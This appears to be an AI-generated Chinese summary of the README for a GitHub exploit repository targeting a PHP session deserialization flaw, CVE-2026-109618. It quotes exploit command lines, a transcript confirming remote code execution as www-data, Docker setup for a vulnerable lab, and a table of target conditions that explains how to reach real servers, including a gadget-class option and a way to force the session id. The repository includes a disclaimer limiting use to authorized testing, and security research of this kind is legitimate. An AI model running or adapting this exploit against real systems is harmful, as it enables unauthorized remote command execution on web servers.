junaire/CVE-2026-109618-exploit

选用指南

AI 根据 README 整理 · 2026/10/22 01:36:10

使用方式

通过命令行使用exploit.py，可指定目标主机、端口和命令，并通过--gadget和--prop参数选择不同的gadget类。

查看 README 依据

python3 exploit.py 127.0.0.1 8080 "id; uname -a" python3 exploit.py 127.0.0.1 8080 "cat /etc/hostname" --sid deadbeef0000000000000000000caf python3 exploit.py host port "cmd" --gadget Monolog --prop target # real-target gadget ``` Verified transcript against this environment (PHP 8.2.34-fpm): ``` $ python3 exploit.py 127.0.0.1 8080 "id; uname -sr" [1] seed POST /app/seed.php -> HTTP 200 [2] fire GET /api/app.php -> HTTP 200 [gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux 7.2.9-... [+] command output seen — RCE confirmed ```

部署要求

需要Python 3运行exploit.py，并使用Docker构建和运行靶机环境。

查看 README 依据

exploit.py the exploit (stdlib only) Dockerfile vulnerable target environment: nginx + php-fpm 8.2.34 nginx-site.conf target vhost webroot/app/ seed dir (.user.ini -> session.serialize_handler=php_serialize) webroot/api/ fire dir (.user.ini -> php), Logger gadget class ``` ## Usage ```bash # 1. build & start the target environment docker build -t cve-2026-109618-exploit . docker run -d --name cve618 -p 8080:80 cve-2026-109618-exploit # 2. verify it is up curl http://127.0.0.1:8080/api/app.php # -> [api] session started # 3. exploit

已知限制

利用要求目标启用session.upload_progress且cleanup设为Off，存在两个不同serialize_handler的目录，并加载了具有有用__destruct方法的类，payload必须放在PHP_SESSION_UPLOAD_PROGRESS字段值中，因为分片头行限制约5KB。

查看 README 依据

The command output appears in the trigger response: `__destruct` (and thus `system()`) runs during `session_start()`'s decode-failure cleanup, before the script body — followed by the expected `Failed to decode session object. Session has been destroyed` warning. ## What a real target needs | Condition | Why | |---|---| | `session.upload_progress.enabled=On` (default) | the injection channel | | `session.upload_progress.cleanup=Off` | keeps the seeded payload on disk (with the default `On` only a race window remains) |

| two reachable dirs with different `session.serialize_handler` (`.user.ini` / `.htaccess`) | write side php_serialize, read side php — the `|` split | | a class with a useful `__destruct` loaded when `session_start()` runs (app code, `opcache.preload`, `auto_prepend_file`) | the RCE gadget; `--gadget/--prop` to match it | | `session.use_strict_mode=0` (default) | attacker-chosen session id via the POST `PHPSESSID` field (bypasses `use_only_cookies`) | Note: the payload must ride the **`PHP_SESSION_UPLOAD_PROGRESS` field value**,

not the uploaded filename — multipart part-header lines are capped at ~5 KB and truncate larger payloads. ## Disclaimer For authorized security testing and research only. Run it against your own test environments or systems you have explicit permission to test.